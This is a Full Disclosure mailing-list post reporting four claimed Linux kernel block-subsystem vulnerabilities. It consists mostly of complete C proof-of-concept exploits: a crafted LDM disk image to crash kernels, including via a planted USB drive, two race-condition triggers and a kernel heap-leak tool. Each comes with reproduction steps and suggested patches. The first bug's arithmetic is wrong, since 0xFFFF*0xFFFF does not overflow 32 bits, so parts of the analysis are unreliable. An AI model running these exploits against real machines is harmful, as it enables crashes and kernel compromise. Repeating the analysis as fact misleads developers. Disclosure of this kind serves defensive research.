[<prev] [next>] [day] [month] [year] [list]
Message-ID: <6jfXhq9Bf9B7Afd6JclOLDM6lIW9Dl_7xMp539a-lEPWV3Pw7Z1Glw0Alg3ziczx27VMjdS60FBXZznR6qvLyD5oMdCuAZ0MH02_NGIEiWc=@proton.me>
Date: Mon, 29 Dec 2025 20:20:00 +0000
From: Agent Spooky's Fun Parade via Fulldisclosure
<fulldisclosure@...lists.org>
To: "fulldisclosure@...lists.org" <fulldisclosure@...lists.org>
Subject: [FD] Linux Kernel Block Subsystem Vulnerabilities
================================================================================
FULL DISCLOSURE: Linux Kernel Block Subsystem Vulnerabilities
Date: 2025-12-29
Affected: Linux Kernel (all versions with affected code)
================================================================================
================================================================================
[1/4] Integer Overflow in LDM Partition Parser - Heap Overflow
================================================================================
VULNERABILITY SUMMARY
---------------------
Type: Integer Overflow leading to Heap Buffer Overflow
File: block/partitions/ldm.c:1247
Severity: HIGH (7.8 CVSS)
Impact: Local privilege escalation, kernel code execution
Attack Vector: Malicious disk image / USB device
TECHNICAL DETAILS
-----------------
The LDM (Logical Disk Manager) partition parser contains an integer overflow
vulnerability in the VBLK fragment reassembly code. When parsing Windows
dynamic disks, the kernel allocates a buffer using:
f = kmalloc(sizeof(*f) + size * num, GFP_KERNEL);
Where both 'size' and 'num' are attacker-controlled 16-bit values read from
the disk. When size=0xFFFF and num=0xFFFF, the multiplication overflows:
0xFFFF * 0xFFFF = 0xFFFE0001 (truncated to 32-bit)
sizeof(*f) + 0xFFFE0001 = small allocation
The kernel allocates a small buffer but later writes up to 64KB of data into
it, causing a heap buffer overflow.
AFFECTED CODE (block/partitions/ldm.c)
--------------------------------------
Line 1247:
f = kmalloc(sizeof(*f) + size * num, GFP_KERNEL);
Line 461 (bounds check also vulnerable):
if ((vm->vblk_size * vm->vblk_offset) > 65536) {
PROOF OF CONCEPT
----------------
/*
* ldm_overflow_poc.c - LDM Integer Overflow PoC
* Creates a malicious disk image triggering the overflow
*
* Compile: gcc -o ldm_poc ldm_overflow_poc.c
* Usage: ./ldm_poc output.img && losetup /dev/loop0 output.img
*
* WARNING: This WILL crash/corrupt your kernel. Use in VM only.
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
/* LDM structures */
#define LDM_MAGIC "PRIVHEAD"
#define VBLK_MAGIC "VBLK"
struct ldm_privhead {
char magic[8];
uint32_t version;
uint64_t disk_id;
char host_id[64];
char disk_group_id[64];
char disk_group_name[32];
uint32_t logical_disk_start;
uint32_t logical_disk_size;
uint32_t config_start;
uint32_t config_size;
uint32_t num_tocs;
uint32_t toc_size;
uint32_t num_configs;
uint32_t config_record_size;
uint32_t num_logs;
uint32_t log_size;
} __attribute__((packed));
struct ldm_vmdb {
char magic[4]; /* "VMDB" */
uint32_t last_seq;
uint32_t vblk_size; /* Controlled - use 0xFFFF */
uint32_t vblk_offset; /* Controlled - use 0xFFFF */
uint16_t num_vblks;
/* ... */
} __attribute__((packed));
struct ldm_vblk_head {
char magic[4]; /* "VBLK" */
uint32_t seq;
uint32_t group;
uint16_t rec_num; /* Fragment number */
uint16_t num_recs; /* Total fragments - use large value */
/* ... */
} __attribute__((packed));
void create_malicious_ldm_image(const char *filename) {
int fd = open(filename, O_WRONLY | O_CREAT | O_TRUNC, 0644);
if (fd < 0) {
perror("open");
exit(1);
}
/* Create 2MB sparse image */
ftruncate(fd, 2 * 1024 * 1024);
/* Write LDM PRIVHEAD at sector 6 (byte offset 3072) */
struct ldm_privhead privhead = {0};
memcpy(privhead.magic, LDM_MAGIC, 8);
privhead.version = 0x0002000C; /* Version 2.12 */
privhead.config_start = 1;
privhead.config_size = 2048;
lseek(fd, 6 * 512, SEEK_SET);
write(fd, &privhead, sizeof(privhead));
/* Write VMDB with overflow values */
struct ldm_vmdb vmdb = {0};
memcpy(vmdb.magic, "VMDB", 4);
vmdb.vblk_size = 0xFFFF; /* OVERFLOW VALUE */
vmdb.vblk_offset = 0xFFFF; /* OVERFLOW VALUE */
vmdb.num_vblks = 100;
lseek(fd, 8 * 512, SEEK_SET); /* VMDB location */
write(fd, &vmdb, sizeof(vmdb));
/* Write VBLK fragments that trigger reassembly overflow */
struct ldm_vblk_head vblk = {0};
memcpy(vblk.magic, VBLK_MAGIC, 4);
vblk.seq = 1;
vblk.group = 1;
vblk.rec_num = 0;
vblk.num_recs = 0xFFFF; /* Large fragment count */
/* Write multiple fragments to trigger reassembly */
for (int i = 0; i < 10; i++) {
vblk.rec_num = i;
lseek(fd, (16 + i) * 512, SEEK_SET);
write(fd, &vblk, sizeof(vblk));
/* Fill rest of sector with controlled data */
char payload[512 - sizeof(vblk)];
memset(payload, 'A', sizeof(payload));
write(fd, payload, sizeof(payload));
}
close(fd);
printf("[+] Created malicious LDM image: %s\n", filename);
printf("[!] WARNING: Mounting this image WILL crash the kernel\n");
}
int main(int argc, char **argv) {
if (argc != 2) {
fprintf(stderr, "Usage: %s <output.img>\n", argv[0]);
return 1;
}
create_malicious_ldm_image(argv[1]);
printf("\nReproduction steps:\n");
printf("1. Copy image to target VM\n");
printf("2. sudo losetup /dev/loop0 %s\n", argv[1]);
printf("3. sudo partprobe /dev/loop0 # TRIGGERS CRASH\n");
printf("\nOr:\n");
printf("1. Write image to USB drive\n");
printf("2. Plug USB into target machine\n");
printf("3. Kernel auto-probes partitions -> CRASH\n");
return 0;
}
REPRODUCTION STEPS
------------------
1. Compile the PoC on any Linux system:
$ gcc -o ldm_poc ldm_overflow_poc.c
2. Create the malicious image:
$ ./ldm_poc malicious.img
3. In a VM (DO NOT RUN ON PRODUCTION):
$ sudo losetup /dev/loop0 malicious.img
$ sudo partprobe /dev/loop0
4. Kernel will crash with heap corruption
Alternative (USB attack vector):
1. Write malicious.img to USB drive:
$ sudo dd if=malicious.img of=/dev/sdX bs=1M
2. Plug USB into target machine
3. Kernel crashes during automatic partition probing
IMPACT
------
- Heap buffer overflow with controlled size and data
- Kernel code execution possible via heap spray
- Physical access attack via malicious USB
- No user interaction required (auto-probe)
SUGGESTED FIX
-------------
Replace vulnerable allocation with overflow-safe version:
- f = kmalloc(sizeof(*f) + size * num, GFP_KERNEL);
+ if (check_mul_overflow(size, num, &alloc_size) ||
+ check_add_overflow(alloc_size, sizeof(*f), &alloc_size)) {
+ ldm_error("VBLK allocation overflow");
+ return false;
+ }
+ f = kmalloc(alloc_size, GFP_KERNEL);
================================================================================
[2/4] Request Queue Reference Counting Race Condition
================================================================================
VULNERABILITY SUMMARY
---------------------
Type: TOCTOU Race Condition / Use-After-Free
File: block/blk-core.c:278-284
Severity: MEDIUM (5.5 CVSS)
Impact: Kernel crash, potential privilege escalation
Attack Vector: Local, requires timing
TECHNICAL DETAILS
-----------------
The blk_get_queue() function has a time-of-check to time-of-use (TOCTOU)
race condition between checking if the queue is dying and incrementing
the reference count:
bool blk_get_queue(struct request_queue *q)
{
if (unlikely(blk_queue_dying(q))) // CHECK
return false;
refcount_inc(&q->refs); // USE - race window!
return true;
}
Between the check and the increment, another CPU can complete queue
teardown, decrement refs to 0, and free the structure. The subsequent
refcount_inc() then operates on freed memory.
AFFECTED CODE (block/blk-core.c)
--------------------------------
Lines 278-284:
bool blk_get_queue(struct request_queue *q)
{
if (unlikely(blk_queue_dying(q)))
return false;
refcount_inc(&q->refs); // Should be refcount_inc_not_zero
return true;
}
PROOF OF CONCEPT
----------------
/*
* blk_queue_race_poc.c - Request Queue Race Condition PoC
*
* This PoC demonstrates the TOCTOU race in blk_get_queue().
* Requires root and a removable block device (USB/loop).
*
* Compile: gcc -o queue_race -lpthread blk_queue_race_poc.c
* Usage: sudo ./queue_race /dev/loop0
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <linux/loop.h>
#include <linux/fs.h>
#include <errno.h>
#include <sched.h>
#define NUM_RACERS 4
#define ITERATIONS 100000
static volatile int race_running = 1;
static char *loop_device;
static char *backing_file;
/* Thread that repeatedly opens the block device */
void *opener_thread(void *arg) {
int cpu = (int)(long)arg;
cpu_set_t cpuset;
CPU_ZERO(&cpuset);
CPU_SET(cpu % 4, &cpuset);
pthread_setaffinity_np(pthread_self(), sizeof(cpuset), &cpuset);
while (race_running) {
int fd = open(loop_device, O_RDONLY | O_NONBLOCK);
if (fd >= 0) {
/* Perform I/O to exercise queue paths */
char buf[512];
read(fd, buf, sizeof(buf));
close(fd);
}
/* Tight loop to maximize race window hits */
}
return NULL;
}
/* Thread that repeatedly detaches/attaches loop device */
void *detacher_thread(void *arg) {
int loop_ctl_fd = open("/dev/loop-control", O_RDWR);
int backing_fd = -1;
while (race_running) {
/* Get a free loop device number */
int loop_fd = open(loop_device, O_RDWR);
if (loop_fd >= 0) {
/* Detach - triggers queue dying state */
ioctl(loop_fd, LOOP_CLR_FD, 0);
close(loop_fd);
}
usleep(100); /* Small delay */
/* Reattach */
loop_fd = open(loop_device, O_RDWR);
backing_fd = open(backing_file, O_RDWR);
if (loop_fd >= 0 && backing_fd >= 0) {
ioctl(loop_fd, LOOP_SET_FD, backing_fd);
close(backing_fd);
close(loop_fd);
}
usleep(100);
}
close(loop_ctl_fd);
return NULL;
}
/* Thread that submits I/O to exercise blk_get_queue paths */
void *io_submitter_thread(void *arg) {
while (race_running) {
int fd = open(loop_device, O_RDONLY | O_DIRECT | O_NONBLOCK);
if (fd >= 0) {
void *buf;
posix_memalign(&buf, 512, 4096);
/* Submit I/O - internally calls blk_get_queue */
pread(fd, buf, 4096, 0);
free(buf);
close(fd);
}
}
return NULL;
}
int main(int argc, char **argv) {
pthread_t openers[NUM_RACERS];
pthread_t submitters[NUM_RACERS];
pthread_t detacher;
if (argc != 3) {
fprintf(stderr, "Usage: %s <loop_device> <backing_file>\n", argv[0]);
fprintf(stderr, "Example: %s /dev/loop0 /tmp/test.img\n", argv[0]);
return 1;
}
loop_device = argv[1];
backing_file = argv[2];
/* Create backing file if needed */
int bf = open(backing_file, O_RDWR | O_CREAT, 0644);
if (bf >= 0) {
ftruncate(bf, 10 * 1024 * 1024); /* 10MB */
close(bf);
}
/* Initial loop setup */
int loop_fd = open(loop_device, O_RDWR);
int back_fd = open(backing_file, O_RDWR);
if (loop_fd >= 0 && back_fd >= 0) {
ioctl(loop_fd, LOOP_SET_FD, back_fd);
close(back_fd);
close(loop_fd);
}
printf("[*] Starting race condition PoC\n");
printf("[*] Target: %s\n", loop_device);
printf("[*] This may take a while or crash the kernel...\n");
/* Start racer threads */
for (int i = 0; i < NUM_RACERS; i++) {
pthread_create(&openers[i], NULL, opener_thread, (void*)(long)i);
pthread_create(&submitters[i], NULL, io_submitter_thread, (void*)(long)i);
}
pthread_create(&detacher, NULL, detacher_thread, NULL);
/* Run for a while */
sleep(60);
printf("[*] Stopping threads...\n");
race_running = 0;
for (int i = 0; i < NUM_RACERS; i++) {
pthread_join(openers[i], NULL);
pthread_join(submitters[i], NULL);
}
pthread_join(detacher, NULL);
printf("[*] If you see this, race was not triggered\n");
printf("[*] Try running longer or on a system with more CPUs\n");
return 0;
}
REPRODUCTION STEPS
------------------
1. Create a test environment (use a VM!):
$ dd if=/dev/zero of=/tmp/test.img bs=1M count=10
$ sudo losetup /dev/loop0 /tmp/test.img
2. Compile the PoC:
$ gcc -o queue_race -lpthread blk_queue_race_poc.c
3. Run with root privileges:
$ sudo ./queue_race /dev/loop0 /tmp/test.img
4. Monitor dmesg for crashes:
$ dmesg -w
Expected outcomes:
- Kernel OOPS/panic with refcount underflow warning
- Use-after-free detected by KASAN (if enabled)
- System hang
SUGGESTED FIX
-------------
Use atomic check-and-increment:
- if (unlikely(blk_queue_dying(q)))
- return false;
- refcount_inc(&q->refs);
- return true;
+ if (unlikely(blk_queue_dying(q)))
+ return false;
+ return refcount_inc_not_zero(&q->refs);
================================================================================
[3/4] CVE-PENDING: BSG Response Length Information Leak
================================================================================
VULNERABILITY SUMMARY
---------------------
Type: Kernel Heap Information Disclosure
File: block/bsg-lib.c:118
Severity: MEDIUM (5.5 CVSS)
Impact: Leak of kernel heap memory to userspace
Attack Vector: Local, requires CAP_SYS_RAWIO
TECHNICAL DETAILS
-----------------
The BSG (Block SCSI Generic) transport layer allocates a fixed 96-byte
buffer for job->reply (SCSI_SENSE_BUFFERSIZE), but several drivers set
job->reply_len to values exceeding this allocation. When copy_to_user()
is called, it reads beyond the buffer, leaking kernel heap contents.
// bsg-lib.c:306 - Fixed allocation
job->reply = kzalloc(SCSI_SENSE_BUFFERSIZE, GFP_KERNEL); // 96 bytes
// bsg-lib.c:116-118 - No bounds check
int len = min(hdr->max_response_len, job->reply_len);
copy_to_user(uptr64(hdr->response), job->reply, len); // Reads beyond!
Drivers that set reply_len > 96:
- bfad_bsg.c:3188: job->reply_len = job->reply_payload.payload_len;
- bfad_bsg.c:3534: job->reply_len = drv_fcxp->rsp_len;
- ql4_bsg.c:493: reply_len = sizeof(struct iscsi_bsg_reply) + sizeof(mbox_sts);
PROOF OF CONCEPT
----------------
/*
* bsg_infoleak_poc.c - BSG Information Leak PoC
*
* Demonstrates leaking kernel heap memory via BSG interface.
* Requires CAP_SYS_RAWIO and a BSG-capable device (FC HBA, SAS, etc.)
*
* Compile: gcc -o bsg_leak bsg_infoleak_poc.c
* Usage: sudo ./bsg_leak /dev/bsg/X
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <stdint.h>
#include <linux/bsg.h>
#define SCSI_SENSE_BUFFERSIZE 96
#define LEAK_SIZE 4096 /* Request more than allocated */
/* BSG protocol constants */
#define BSG_PROTOCOL_SCSI 0
#define BSG_SUB_PROTOCOL_SCSI_TRANSPORT 2
struct fc_bsg_request {
uint32_t msgcode;
/* FC-specific fields follow */
} __attribute__((packed));
void hexdump(const void *data, size_t size) {
const uint8_t *bytes = data;
for (size_t i = 0; i < size; i += 16) {
printf("%04zx: ", i);
for (size_t j = 0; j < 16 && i + j < size; j++) {
printf("%02x ", bytes[i + j]);
}
printf(" |");
for (size_t j = 0; j < 16 && i + j < size; j++) {
char c = bytes[i + j];
printf("%c", (c >= 32 && c < 127) ? c : '.');
}
printf("|\n");
}
}
int attempt_leak(int fd) {
struct sg_io_v4 hdr = {0};
struct fc_bsg_request request = {0};
uint8_t response[LEAK_SIZE] = {0};
uint8_t sense[SCSI_SENSE_BUFFERSIZE] = {0};
/* Prepare BSG request */
hdr.guard = 'Q';
hdr.protocol = BSG_PROTOCOL_SCSI;
hdr.subprotocol = BSG_SUB_PROTOCOL_SCSI_TRANSPORT;
/* Request buffer */
request.msgcode = 0x80000001; /* FC_BSG_HST_VENDOR - triggers bfad path */
hdr.request = (uint64_t)&request;
hdr.request_len = sizeof(request);
/* Response buffer - request MORE than SCSI_SENSE_BUFFERSIZE */
hdr.response = (uint64_t)response;
hdr.max_response_len = LEAK_SIZE; /* Key: request 4096, only 96 allocated */
/* Data-in buffer - large size influences reply_len in some drivers */
uint8_t din_buf[LEAK_SIZE];
hdr.din_xferp = (uint64_t)din_buf;
hdr.din_xfer_len = LEAK_SIZE;
hdr.timeout = 5000; /* 5 seconds */
/* Issue the ioctl */
int ret = ioctl(fd, SG_IO, &hdr);
if (ret < 0) {
perror("ioctl SG_IO");
return -1;
}
printf("[*] Response length returned: %u\n", hdr.response_len);
if (hdr.response_len > SCSI_SENSE_BUFFERSIZE) {
printf("[!] VULNERABILITY CONFIRMED!\n");
printf("[!] Received %u bytes, but buffer is only %d bytes\n",
hdr.response_len, SCSI_SENSE_BUFFERSIZE);
printf("[!] Leaked %u bytes of kernel heap:\n",
hdr.response_len - SCSI_SENSE_BUFFERSIZE);
printf("\n=== Legitimate response (first 96 bytes) ===\n");
hexdump(response, SCSI_SENSE_BUFFERSIZE);
printf("\n=== LEAKED KERNEL HEAP DATA ===\n");
hexdump(response + SCSI_SENSE_BUFFERSIZE,
hdr.response_len - SCSI_SENSE_BUFFERSIZE);
return 1; /* Leak successful */
}
printf("[*] No leak detected (response_len=%u <= %d)\n",
hdr.response_len, SCSI_SENSE_BUFFERSIZE);
return 0;
}
int main(int argc, char **argv) {
if (argc != 2) {
fprintf(stderr, "Usage: %s <bsg_device>\n", argv[0]);
fprintf(stderr, "Example: %s /dev/bsg/0:0:0:0\n", argv[0]);
fprintf(stderr, "\nFind BSG devices: ls -la /dev/bsg/\n");
return 1;
}
int fd = open(argv[1], O_RDWR);
if (fd < 0) {
perror("open");
fprintf(stderr, "Note: Requires CAP_SYS_RAWIO (root)\n");
return 1;
}
printf("[*] BSG Information Leak PoC\n");
printf("[*] Target device: %s\n", argv[1]);
printf("[*] Attempting to leak kernel heap memory...\n\n");
/* Try multiple times - driver behavior may vary */
for (int i = 0; i < 5; i++) {
printf("=== Attempt %d ===\n", i + 1);
if (attempt_leak(fd) > 0) {
printf("\n[+] Successfully leaked kernel heap data!\n");
break;
}
usleep(100000);
}
close(fd);
return 0;
}
REPRODUCTION STEPS
------------------
1. Identify BSG devices on the system:
$ ls -la /dev/bsg/
Note: Requires FC HBA, SAS controller, or similar hardware.
For testing, some USB-SCSI adapters expose BSG interfaces.
2. Compile the PoC:
$ gcc -o bsg_leak bsg_infoleak_poc.c
3. Run as root:
$ sudo ./bsg_leak /dev/bsg/0:0:0:0
4. If vulnerable driver is present, observe leaked heap data beyond
the 96-byte boundary.
SUGGESTED FIX
-------------
Add bounds check before copy_to_user in bsg-lib.c:
if (job->reply_len && hdr->response) {
- int len = min(hdr->max_response_len, job->reply_len);
+ int len = min_t(unsigned int, hdr->max_response_len,
+ min(job->reply_len, SCSI_SENSE_BUFFERSIZE));
if (copy_to_user(uptr64(hdr->response), job->reply, len))
================================================================================
[4/4] I/O Scheduler Switching Use-After-Free Race
================================================================================
VULNERABILITY SUMMARY
---------------------
Type: Use-After-Free Race Condition
File: block/elevator.c:677-684
Severity: MEDIUM (6.4 CVSS)
Impact: Kernel crash, potential privilege escalation
Attack Vector: Local, requires root, concurrent sysfs writes
TECHNICAL DETAILS
-----------------
The elevator_change() function has insufficient lock coverage. The
elevator_lock mutex only protects elevator_switch() but not the
subsequent elevator_change_done() call. Since elv_iosched_store()
uses a read lock (allowing concurrent access), two simultaneous
elevator switches can race:
// elevator.c:677-684
blk_mq_cancel_work_sync(q);
mutex_lock(&q->elevator_lock); // LOCK
if (!(q->elevator && elevator_match(...)))
ret = elevator_switch(q, ctx); // Sets ctx->old, ctx->new
mutex_unlock(&q->elevator_lock); // UNLOCK
blk_mq_unfreeze_queue(q, memflags);
if (!ret)
ret = elevator_change_done(q, ctx); // OUTSIDE LOCK - UAF!
Race scenario:
1. Thread A: mq-deadline -> bfq (ctx_A->new = bfq)
2. Thread B: bfq -> kyber (ctx_B->old = bfq, same object!)
3. Thread B frees bfq via kobject_put()
4. Thread A accesses freed bfq in elevator_change_done()
PROOF OF CONCEPT
----------------
/*
* elevator_uaf_poc.c - Elevator Switching UAF Race PoC
*
* Triggers use-after-free by racing elevator switches via sysfs.
* Requires root access.
*
* Compile: gcc -o elv_uaf -lpthread elevator_uaf_poc.c
* Usage: sudo ./elv_uaf /dev/sda
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <sched.h>
#include <sys/stat.h>
#define NUM_THREADS 8
#define ITERATIONS 100000
static volatile int running = 1;
static char sysfs_path[256];
static const char *schedulers[] = {"mq-deadline", "bfq", "kyber", "none"};
static int num_schedulers = 4;
void *racer_thread(void *arg) {
int thread_id = (int)(long)arg;
cpu_set_t cpuset;
char buf[64];
/* Pin to specific CPU for maximum contention */
CPU_ZERO(&cpuset);
CPU_SET(thread_id % 4, &cpuset);
pthread_setaffinity_np(pthread_self(), sizeof(cpuset), &cpuset);
while (running) {
/* Rapidly switch between schedulers */
for (int i = 0; i < num_schedulers && running; i++) {
int fd = open(sysfs_path, O_WRONLY);
if (fd >= 0) {
/* Write scheduler name - triggers elevator_change() */
int idx = (thread_id + i) % num_schedulers;
write(fd, schedulers[idx], strlen(schedulers[idx]));
close(fd);
}
/* No delay - maximize race window */
}
}
return NULL;
}
/* Thread that reads current scheduler to add memory pressure */
void *reader_thread(void *arg) {
char buf[256];
while (running) {
int fd = open(sysfs_path, O_RDONLY);
if (fd >= 0) {
read(fd, buf, sizeof(buf));
close(fd);
}
}
return NULL;
}
int check_available_schedulers(const char *device) {
char path[256];
char buf[256];
snprintf(path, sizeof(path), "/sys/block/%s/queue/scheduler", device);
int fd = open(path, O_RDONLY);
if (fd < 0) {
return -1;
}
int n = read(fd, buf, sizeof(buf) - 1);
close(fd);
if (n > 0) {
buf[n] = '\0';
printf("[*] Available schedulers: %s", buf);
}
return 0;
}
int main(int argc, char **argv) {
pthread_t threads[NUM_THREADS];
pthread_t readers[NUM_THREADS / 2];
const char *device;
if (argc < 2) {
fprintf(stderr, "Usage: %s <block_device>\n", argv[0]);
fprintf(stderr, "Example: %s sda\n", argv[0]);
fprintf(stderr, " %s loop0\n", argv[0]);
return 1;
}
/* Remove /dev/ prefix if present */
device = argv[1];
if (strncmp(device, "/dev/", 5) == 0) {
device += 5;
}
snprintf(sysfs_path, sizeof(sysfs_path),
"/sys/block/%s/queue/scheduler", device);
/* Verify path exists */
if (access(sysfs_path, W_OK) != 0) {
perror("Cannot access scheduler sysfs");
fprintf(stderr, "Path: %s\n", sysfs_path);
fprintf(stderr, "Requires root privileges\n");
return 1;
}
printf("[*] Elevator UAF Race Condition PoC\n");
printf("[*] Target: %s\n", sysfs_path);
if (check_available_schedulers(device) < 0) {
fprintf(stderr, "Cannot read available schedulers\n");
return 1;
}
printf("[*] Starting %d racer threads...\n", NUM_THREADS);
printf("[!] WARNING: This may crash the kernel!\n");
printf("[*] Monitor dmesg for UAF/KASAN reports\n\n");
/* Start racer threads */
for (int i = 0; i < NUM_THREADS; i++) {
pthread_create(&threads[i], NULL, racer_thread, (void*)(long)i);
}
/* Start reader threads for additional pressure */
for (int i = 0; i < NUM_THREADS / 2; i++) {
pthread_create(&readers[i], NULL, reader_thread, (void*)(long)i);
}
/* Run for specified duration */
printf("[*] Racing for 30 seconds...\n");
sleep(30);
printf("[*] Stopping threads...\n");
running = 0;
for (int i = 0; i < NUM_THREADS; i++) {
pthread_join(threads[i], NULL);
}
for (int i = 0; i < NUM_THREADS / 2; i++) {
pthread_join(readers[i], NULL);
}
printf("[*] Test completed\n");
printf("[*] Check dmesg for any warnings/crashes\n");
return 0;
}
REPRODUCTION STEPS
------------------
1. Ensure multiple I/O schedulers are available:
$ cat /sys/block/sda/queue/scheduler
[mq-deadline] kyber bfq none
2. Load additional schedulers if needed:
$ sudo modprobe bfq
$ sudo modprobe kyber-iosched
3. Compile the PoC:
$ gcc -o elv_uaf -lpthread elevator_uaf_poc.c
4. Run as root (in a VM!):
$ sudo ./elv_uaf sda
5. In another terminal, monitor for crashes:
$ dmesg -w | grep -i "uaf\|kasan\|bug\|rcu"
6. With KASAN enabled kernel, expect output like:
BUG: KASAN: use-after-free in elv_register_queue+0x...
SUGGESTED FIX
-------------
Option 1: Extend lock coverage to include elevator_change_done():
mutex_lock(&q->elevator_lock);
if (!(q->elevator && elevator_match(q->elevator->type, ctx->name)))
ret = elevator_switch(q, ctx);
+ if (!ret)
+ ret = elevator_change_done(q, ctx);
mutex_unlock(&q->elevator_lock);
blk_mq_unfreeze_queue(q, memflags);
- if (!ret)
- ret = elevator_change_done(q, ctx);
Option 2: Use write lock instead of read lock in elv_iosched_store():
- down_read(&set->update_nr_hwq_lock);
+ down_write(&set->update_nr_hwq_lock);
================================================================================
TIMELINE
================================================================================
2025-12-29: Vulnerabilities discovered
2025-12-29: Vulnerabilities confirmed
2025-12-29: Vulnerabilities disclosed
================================================================================
CREDITS
================================================================================
Discovered by: Agent Spooky's Fun Parade
================================================================================
================================================================================
================================================================================
Download attachment "agent-spooky-fun-parade.png" of type "image/png" (1763161 bytes)
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Powered by blists - more mailing lists